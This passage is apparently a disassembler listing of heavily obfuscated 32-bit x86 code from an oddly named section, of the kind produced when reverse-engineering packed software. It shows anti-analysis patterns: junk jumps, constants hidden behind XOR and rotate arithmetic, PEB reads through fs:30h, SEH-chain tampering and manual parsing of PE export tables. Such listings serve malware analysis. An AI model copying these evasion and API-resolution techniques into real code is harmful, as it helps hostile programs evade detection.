; END OF FUNCTION CHUNK	FOR sub_42B8E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42BBB9:				; CODE XREF: sub_42C486-4BEBj
		jmp	loc_42974D
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42BBBE:				; CODE XREF: sub_42E9E8-8A47j
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42BBC3:				; CODE XREF: sub_429165+3j
		jns	sub_424D63
		add	esp, 0FFFFFED8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_424EFF
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------


loc_42BBDA:				; CODE XREF: wto1jq8f:004291F0j
		jz	loc_42BFC2
		pop	esi
		add	edi, 8FE7E4C4h
		or	esi, ebp
		cdq
		jmp	loc_42BFBC
; ---------------------------------------------------------------------------


loc_42BBEF:				; DATA XREF: wto1jq8f:0042CC34o
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		call	sub_426806


loc_42BC02:				; DATA XREF: wto1jq8f:00429F00o
		add	edi, 51DD4617h
		xchg	edi, [esp]
		jmp	sub_424585
; ---------------------------------------------------------------------------


loc_42BC10:				; DATA XREF: sub_426144:loc_428323o
		mov	eax, large fs:30h
		add	eax, 54h
		mov	eax, [eax]
		or	eax, eax
		jz	loc_424294
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_42CE64
; ---------------------------------------------------------------------------


loc_42BC33:				; CODE XREF: wto1jq8f:0042A752j
		jz	loc_427788
		ror	ebx, 13h
		and	esi, 0A8F58BE3h
		push	0A5D89ABBh
		jmp	loc_42A98B
; ---------------------------------------------------------------------------
		adc	edi, edx
		push	eax
		jmp	sub_4287D0
; ---------------------------------------------------------------------------
		mov	[edx], edi
		jmp	sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D4F


loc_42BC5B:				; CODE XREF: sub_426D4F+42C4j
		and	edi, 73385FD2h


loc_42BC61:				; CODE XREF: sub_426D4F:loc_42EDA3j
		call	sub_424585
		mov	edx, 3CC6743Ch
		call	sub_429165
		jmp	loc_42C590
; END OF FUNCTION CHUNK	FOR sub_426D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42BC75:				; CODE XREF: sub_429BFF+1DA4j
		jge	loc_42CFB7
		cdq
		jmp	loc_42D633
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFCD


loc_42BC81:				; CODE XREF: sub_42AFCD+14j
		push	offset loc_42F41A
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_42AFCD

; =============== S U B	R O U T	I N E =======================================



sub_42BC8B	proc near		; DATA XREF: sub_42AE5E+2485o
		pop	ebp
		retn	4
sub_42BC8B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42BC8F:				; CODE XREF: sub_42CB36:loc_4246E0j
					; wto1jq8f:00426670j ...
		mov	edx, [esp+0]
		mov	al, 1
		call	edx
		jmp	loc_42EB9E
; END OF FUNCTION CHUNK	FOR sub_42CB36

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BC9B	proc near		; DATA XREF: sub_42D13F+1o

var_4		= dword	ptr -4

		mov	ebp, esp
		pushf
		mov	[esp+4+var_4], ecx
		mov	[ebp+var_4], eax
		call	sub_42708B
		call	sub_42885C
		jmp	loc_4275F0
sub_42BC9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42BCB3:				; CODE XREF: sub_429D2E:loc_42A0FDj
		xchg	eax, [ebp+0]
		jmp	loc_4261A6
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------


loc_42BCBB:				; CODE XREF: wto1jq8f:00426B9Fj
		mov	eax, ebp
		xchg	eax, [esp]
		mov	ebp, esp
		push	edx
		push	ecx
		push	eax
		call	sub_42E3FD
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42BCCA:				; CODE XREF: sub_427143+593Aj
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42BCCF:				; CODE XREF: sub_4293FF:loc_42DC85j
		jnz	loc_4285DA
		jmp	loc_42EC5E
; END OF FUNCTION CHUNK	FOR sub_4293FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42BCDB:				; CODE XREF: sub_42A6CD:loc_42957Cj
		jo	loc_425AD0
		jp	loc_42E7A3
		sub	ebx, ebp
		jmp	loc_42C8ED
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------


loc_42BCEE:				; CODE XREF: wto1jq8f:loc_427086j
		mov	eax, [ecx]
		sbb	edx, ecx
		jmp	loc_42BDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42BCF7:				; CODE XREF: sub_42AA68:loc_428620j
		push	esi
		push	0F0E26C73h


loc_42BCFD:				; CODE XREF: wto1jq8f:00428AD9j
		pop	esi
		xor	esi, 4959F193h
		add	esi, ebp
		add	esi, 46446218h
		mov	[esi], eax
		pop	esi
		jmp	loc_42FCC1
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42BD14:				; CODE XREF: sub_42506F:loc_4246C5j
		inc	dword ptr [ebp-8]
		push	offset sub_42D9FC
		jmp	loc_427911
; END OF FUNCTION CHUNK	FOR sub_42506F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42BD22:				; CODE XREF: sub_42EFB5-191Dj
		jmp	loc_42D93C
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_42BD27:				; CODE XREF: sub_424585+5B0Dj
		jmp	loc_42A3D0
; END OF FUNCTION CHUNK	FOR sub_424585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42885C


loc_42BD2C:				; CODE XREF: sub_42885C+Bj
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_42885C

; =============== S U B	R O U T	I N E =======================================



sub_42BD31	proc near		; DATA XREF: wto1jq8f:0042DB71o

var_4		= dword	ptr -4

		mov	esi, eax
		pushf
		push	9A94F117h
		pop	eax
		and	eax, 13DAB84Eh
		add	eax, 0EDB1F50Eh
		xchg	eax, [esp+4+var_4]
		retn
sub_42BD31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42BD4A:				; CODE XREF: wto1jq8f:0042CEF0j
		jmp	loc_424E2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42BD4F:				; CODE XREF: sub_428AC6+Ej
		jmp	loc_42E250
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------


loc_42BD54:				; DATA XREF: sub_42D397-189Ao
		jnz	loc_42443C
		lea	edx, [ebp-14h]
		mov	eax, offset dword_425924
		call	sub_42A56D
		jmp	loc_42BA96
; ---------------------------------------------------------------------------


loc_42BD6C:				; DATA XREF: sub_429017o
		xchg	eax, [esp]
		mov	eax, [esp]
		rol	eax, 1Ah
		mov	ds:dword_429088, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_42BD7C:				; CODE XREF: sub_42414C+BD20j
		ror	eax, 1Ah
		jmp	loc_42E3E0
; END OF FUNCTION CHUNK	FOR sub_42414C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D67C


loc_42BD85:				; CODE XREF: wto1jq8f:0042990Fj
					; sub_42D67C+3j
		jmp	sub_42D9B0
; END OF FUNCTION CHUNK	FOR sub_42D67C
; ---------------------------------------------------------------------------
		not	edi
		mov	[eax], edx


loc_42BD8E:				; CODE XREF: wto1jq8f:loc_427CD8j
		jmp	sub_425C5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42BD93:				; CODE XREF: sub_426535+1590j
					; sub_426535:loc_42D473j
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_42F4F4
; ---------------------------------------------------------------------------


loc_42BDAA:				; CODE XREF: sub_426535:loc_424934j
		call	sub_426C0C


loc_42BDAF:				; CODE XREF: sub_42C6B1+Dj
		push	ecx
		mov	esp, ebp


loc_42BDB2:				; CODE XREF: wto1jq8f:0042DC8Ej
		pop	ebp
		mov	eax, ds:dword_429578
		or	eax, eax
		jnz	loc_4268F1
		jmp	loc_429E55
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_425986
; ---------------------------------------------------------------------------


loc_42BDCC:				; CODE XREF: wto1jq8f:0042BCF2j
		mov	ebp, [edi]
		jle	loc_424DAF


loc_42BDD4:				; CODE XREF: wto1jq8f:loc_42A072j
		push	0DCB0EC76h
		pop	eax
		push	offset loc_428542
		jmp	loc_42DBF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42BDE4:				; CODE XREF: sub_42E0FD:loc_42EE7Aj
		or	ebx, esi
		jmp	loc_42B3EC
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
		jmp	loc_42B8FF
; ---------------------------------------------------------------------------
		pop	ecx
		mov	ebp, offset nullsub_247
		call	sub_426601


loc_42BDFB:				; DATA XREF: sub_4247C1+9o
		mov	eax, [eax+0Ch]
; START	OF FUNCTION CHUNK FOR sub_42FAE4


loc_42BDFE:				; CODE XREF: sub_42FAE4:loc_424995j
		mov	eax, [eax+0Ch]
; END OF FUNCTION CHUNK	FOR sub_42FAE4
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42BE01:				; CODE XREF: sub_42DCB4:loc_424C6Dj
					; sub_42DCB4:loc_42F63Aj
		jnz	loc_42DCC6
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_427349
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------


loc_42BE16:				; CODE XREF: wto1jq8f:loc_426D94j
		rol	ecx, 0Eh
		and	ecx, 0FA483444h
		xor	ecx, 11F44510h
		add	ecx, ebp
		call	sub_427198
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42BE2D:				; CODE XREF: wto1jq8f:loc_42E3DBj
		sub	ebx, 7A23FF88h
		or	ebx, 492DC23Ah
		push	offset sub_429835
		jmp	locret_42BE59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C04


loc_42BE43:				; CODE XREF: sub_426C04+254j
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_42E9D4
; END OF FUNCTION CHUNK	FOR sub_426C04

; =============== S U B	R O U T	I N E =======================================



sub_42BE51	proc near		; CODE XREF: sub_426C04-242Ej
		add	esp, 0FFFFFFE4h
		call	sub_42A35F

locret_42BE59:				; CODE XREF: wto1jq8f:0042BE3Ej
		retn
sub_42BE51	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A97


loc_42BE5A:				; CODE XREF: sub_426A97+8j
		push	offset sub_42F6A9
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_426A97
; ---------------------------------------------------------------------------


loc_42BE64:				; CODE XREF: wto1jq8f:0042EBAEj
		mov	esi, 0FE51D58Ch

; =============== S U B	R O U T	I N E =======================================



sub_42BE69	proc near		; CODE XREF: sub_42D9D9:loc_42491Fp

; FUNCTION CHUNK AT 004242D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424569 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429054 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004296AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042A940 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A9E7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BA74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C9D4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042DBE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042E5D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FBDF SIZE 00000010 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	[ebp-1Ch], eax
		jo	loc_42FBDF
		inc	dword ptr [ebp-20h]
		jmp	loc_4242D1
sub_42BE69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42BE7E	proc near		; DATA XREF: sub_4250D4+1Co

; FUNCTION CHUNK AT 0042B30B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C08E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C1CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DC48 SIZE 00000005 BYTES

		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42D67C
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_42DC48
sub_42BE7E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250D4


loc_42BE90:				; CODE XREF: sub_4250D4:loc_4250E0j
		test	byte ptr [ebp-7], 8
		call	sub_42D53B


loc_42BE99:				; CODE XREF: sub_42DF3B+13j
		jmp	sub_42ED32
; END OF FUNCTION CHUNK	FOR sub_4250D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42BE9E:				; CODE XREF: sub_42AA68-461j
					; wto1jq8f:loc_42E456j
		jmp	loc_428B79
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------


loc_42BEA3:				; CODE XREF: wto1jq8f:0042A2B3j
		jmp	loc_42E4AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D322


loc_42BEA8:				; CODE XREF: sub_42D322-31DAj
		jmp	loc_42E72F
; END OF FUNCTION CHUNK	FOR sub_42D322
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426166


loc_42BEAE:				; CODE XREF: sub_426166+Fj
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_426166
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_427581
		jmp	loc_42FB7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42BEC0:				; CODE XREF: sub_429BFF-12E1j
					; wto1jq8f:loc_42B52Fj
		popf
		jmp	loc_42B244
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266EF


loc_42BEC6:				; CODE XREF: sub_4266EF:loc_42C6ACj
		mov	eax, [ebp-4]
		push	0F7E6222Ch
		mov	[esp+44h+var_44], eax
		call	sub_42414C
		test	eax, eax
		jmp	loc_428851
; END OF FUNCTION CHUNK	FOR sub_4266EF
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		test	edi, esi
		jmp	loc_426800
; ---------------------------------------------------------------------------
		shr	edi, 11h
		cdq
		jmp	sub_42669E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42BEEF:				; CODE XREF: sub_429F7D:loc_428E27j
		or	edx, ebp
		jmp	loc_42A722
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================



sub_42BEF6	proc near		; CODE XREF: sub_42E9E8:loc_42600Dj

; FUNCTION CHUNK AT 00424B79 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00424E2D SIZE 0000000A BYTES

		push	ebx
		push	0FF2EAED3h
		pop	ebx
		or	ebx, ds:4000FBh
		add	ebx, 0AE179523h
		sub	eax, ebx
		pop	ebx
		xor	ecx, 0F4F7E74Ch
		jmp	loc_424B79
sub_42BEF6	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42BF18:				; CODE XREF: sub_42F2C7:loc_429254j
		jz	loc_42B698
		jmp	loc_4278F9
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------


loc_42BF23:				; DATA XREF: sub_42CE80+B26o
		mov	eax, [ebp+8]
		call	sub_42621A
; START	OF FUNCTION CHUNK FOR sub_428BA9


loc_42BF2B:				; CODE XREF: sub_428BA9+6463j
		jmp	loc_428B6D
; END OF FUNCTION CHUNK	FOR sub_428BA9
; ---------------------------------------------------------------------------


loc_42BF30:				; CODE XREF: wto1jq8f:0042B6F4j
		jmp	loc_4268C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42BF35:				; CODE XREF: sub_429471:loc_42C13Dj
		jnb	loc_42D723


loc_42BF3B:				; CODE XREF: sub_429471:loc_424881j
		add	edx, 1CE162E8h
		xchg	edx, [esp+0]
		jmp	loc_42F365
; END OF FUNCTION CHUNK	FOR sub_429471

; =============== S U B	R O U T	I N E =======================================



sub_42BF49	proc near		; DATA XREF: sub_42D2BB-30EBo
		add	esi, 290BAAC2h
		push	offset loc_42EFD6
		jmp	nullsub_227
sub_42BF49	endp

; ---------------------------------------------------------------------------
		test	eax, ecx
		jmp	loc_428254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C507


loc_42BF60:				; CODE XREF: sub_42C507:loc_42C2A5j
		mov	edx, 0CF0182F6h
		call	sub_426C04
		mov	ds:dword_42DB0C, eax


loc_42BF6F:				; CODE XREF: sub_42CFE2:loc_424000j
					; sub_42CFE2-8FC3j ...
		mov	eax, ds:dword_42DB0C


loc_42BF74:				; CODE XREF: wto1jq8f:loc_427BBEj
		call	sub_42D765
		mov	esp, ebp
		pop	ebp
		push	ds:dword_42DB0C
		jmp	loc_427F67
; END OF FUNCTION CHUNK	FOR sub_42C507
; ---------------------------------------------------------------------------

locret_42BF87:				; CODE XREF: wto1jq8f:loc_42E718j
		retn
; ---------------------------------------------------------------------------


loc_42BF88:				; CODE XREF: wto1jq8f:loc_42ACD1j
		shr	edx, 3
		push	0F7B36C73h
		pop	ecx
		rol	ecx, 0Ah
		xor	ecx, 0C9BFA9ACh
		add	ecx, 0FC342EE6h
		jmp	loc_42AC82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42BFA5:				; CODE XREF: sub_42506F+3905j
		push	0BC390683h
		pop	edi
		xor	edi, 0E76D8688h
		test	edi, 8000000h
		jmp	loc_42420B
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------


loc_42BFBC:				; CODE XREF: wto1jq8f:0042BBEAj
		jnz	loc_42B0D8


loc_42BFC2:				; CODE XREF: wto1jq8f:loc_42BBDAj
		add	edx, 76BCC51Bh
		xchg	edx, [esp]
		jmp	loc_429588
; ---------------------------------------------------------------------------


loc_42BFD0:				; DATA XREF: wto1jq8f:00427E46o
		rol	edx, 5
		xor	edx, ebp
		jno	loc_426271
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		mov	[ebp-4], edx
		cmp	dword ptr [ebp-8], 0
		jmp	loc_42D1DB
; ---------------------------------------------------------------------------
		xchg	edx, [ebp+0]
		rol	ecx, 17h


loc_42BFF5:				; CODE XREF: wto1jq8f:00428692j
		jmp	sub_42693B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42BFFA:				; CODE XREF: sub_428AC6:loc_426941j
		add	eax, esi
		pop	esi
		add	eax, 18h
		mov	[ebp-4], eax
		jmp	loc_42F088
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
		sub	edx, ecx
		sbb	ebp, 0A5B2E82Dh
		jmp	sub_4267AE
; ---------------------------------------------------------------------------


loc_42C015:				; CODE XREF: wto1jq8f:0042F8C8j
		jge	nullsub_70

; =============== S U B	R O U T	I N E =======================================



sub_42C01B	proc near		; CODE XREF: wto1jq8f:0042C2C8p
		xchg	eax, [esp+0]
		pop	eax
		push	eax
		push	2D36C3ADh
		pop	eax
		xor	eax, 70E27B51h
		jmp	loc_42C18D
sub_42C01B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C031	proc near		; CODE XREF: wto1jq8f:00428720j
					; wto1jq8f:0042C9BFp

; FUNCTION CHUNK AT 00428A8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CB1A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042F3BB SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42B02D
		jmp	loc_42F3BB
sub_42C031	endp

; ---------------------------------------------------------------------------


loc_42C043:				; CODE XREF: wto1jq8f:0042BADBj
		jb	loc_426F10

; =============== S U B	R O U T	I N E =======================================



sub_42C049	proc near		; CODE XREF: sub_42B68E-2659p
		mov	[esp+0], edi
		pop	edi
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 474244h
		push	0
		jmp	loc_42AA72
sub_42C049	endp

; ---------------------------------------------------------------------------


loc_42C05D:				; CODE XREF: wto1jq8f:loc_42F2E2j
		sub	eax, 0FA9A701Ch
		jmp	loc_42C2EF
; ---------------------------------------------------------------------------


loc_42C068:				; CODE XREF: wto1jq8f:00429888j
		or	eax, eax
		jnz	loc_42B105
		jmp	loc_429342

; =============== S U B	R O U T	I N E =======================================



sub_42C075	proc near		; CODE XREF: wto1jq8f:00424544j
					; wto1jq8f:0042FE02p
		xchg	eax, [esp+0]
		pop	eax
		imul	byte ptr [edx]
		push	offset sub_424573
sub_42C075	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42C080:				; CODE XREF: sub_42E9E8-7224j
		jmp	locret_42DFF6
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_42C085:				; DATA XREF: sub_42B705+13o
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_426C60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7E


loc_42C08E:				; CODE XREF: sub_42BE7E:loc_42C1CBj
		test	byte ptr [ebp-8], 40h
		jz	loc_426C60
		jmp	sub_426C53
; END OF FUNCTION CHUNK	FOR sub_42BE7E
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42EF2E
		jmp	loc_42D963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42621A


loc_42C0AF:				; CODE XREF: sub_42621A+8j
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_426E98
		pop	ecx
		call	sub_42EAED
; END OF FUNCTION CHUNK	FOR sub_42621A

; =============== S U B	R O U T	I N E =======================================



sub_42C0C1	proc near		; CODE XREF: sub_42D69D+24FFp
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		retn
sub_42C0C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAE4


loc_42C0C8:				; CODE XREF: sub_42FAE4+13j
		jmp	loc_4286CA
; END OF FUNCTION CHUNK	FOR sub_42FAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42C0CD:				; CODE XREF: sub_4266B1:loc_428B74j
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427218


loc_42C0D2:				; CODE XREF: sub_427218+17j
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_427218

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C0D7	proc near		; CODE XREF: sub_42A6CD-1A0Cj

; FUNCTION CHUNK AT 00426417 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042756D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004295C4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A4CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042A7BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C265 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C982 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F665 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042FEF2 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42C982
sub_42C0D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42C0DF	proc near		; CODE XREF: sub_426E98:loc_42E878p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042625C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427A25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F9DC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0042FF8B SIZE 00000005 BYTES

		mov	[esp+0], eax
		mov	eax, [ebp-8]
		pushf
		mov	[esp+4+var_4], ebp
		mov	ebp, eax
		jmp	loc_427A25
sub_42C0DF	endp

; ---------------------------------------------------------------------------


loc_42C0F0:				; CODE XREF: wto1jq8f:0042B95Fj
		jo	loc_42CE7B

; =============== S U B	R O U T	I N E =======================================



sub_42C0F6	proc near		; CODE XREF: sub_42C486-1701p

; FUNCTION CHUNK AT 0042F8CD SIZE 00000018 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, [edx]
		shr	edx, 3
		jmp	loc_42F8CD
sub_42C0F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, 903B93FBh
		jmp	sub_429BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42604C


loc_42C10F:				; CODE XREF: sub_42604C:loc_426052j
		call	sub_428C0C


loc_42C114:				; CODE XREF: sub_424BF9:loc_4268C1j
		call	sub_424585
		mov	edx, 0B9726E5Ah
		call	sub_429165
		push	eax
		jmp	loc_429DF4
; END OF FUNCTION CHUNK	FOR sub_42604C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42C129:				; CODE XREF: sub_42B8FC-7049j
		jbe	loc_42C706
		popf
		xchg	ebx, ecx
		jmp	loc_42FD8C
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42C137:				; CODE XREF: sub_429471+1D20j
		cmp	ebp, 2D7BDDCDh


loc_42C13D:				; CODE XREF: wto1jq8f:0042FDC1j
		jmp	loc_42BF35
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_42C142:				; CODE XREF: sub_42FBC7-19A2j
		test	ecx, ebp
		jmp	loc_4265AE
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	sub_42EECC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42C151:				; CODE XREF: sub_427A8D:loc_42814Ej
		pop	ebp
		mov	eax, ds:dword_42D5FC
		call	sub_4269FD
; END OF FUNCTION CHUNK	FOR sub_427A8D
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42C15D:				; CODE XREF: sub_428A19:loc_428A35j
		jmp	loc_42C2FC
; END OF FUNCTION CHUNK	FOR sub_428A19
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_42C163:				; CODE XREF: sub_428A19+16AAj
		jmp	nullsub_161
; END OF FUNCTION CHUNK	FOR sub_428A19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42C168:				; CODE XREF: sub_429F7D-5AF1j
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_429F7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42C16D:				; CODE XREF: sub_426535+8F6Fj
		and	ecx, ebx
		xchg	edi, [ebp+0]


loc_42C172:				; CODE XREF: sub_426535+1Aj
					; sub_426535:loc_42728Aj ...
		jb	loc_427EA1
		cmp	dword ptr [ebp-4], 4
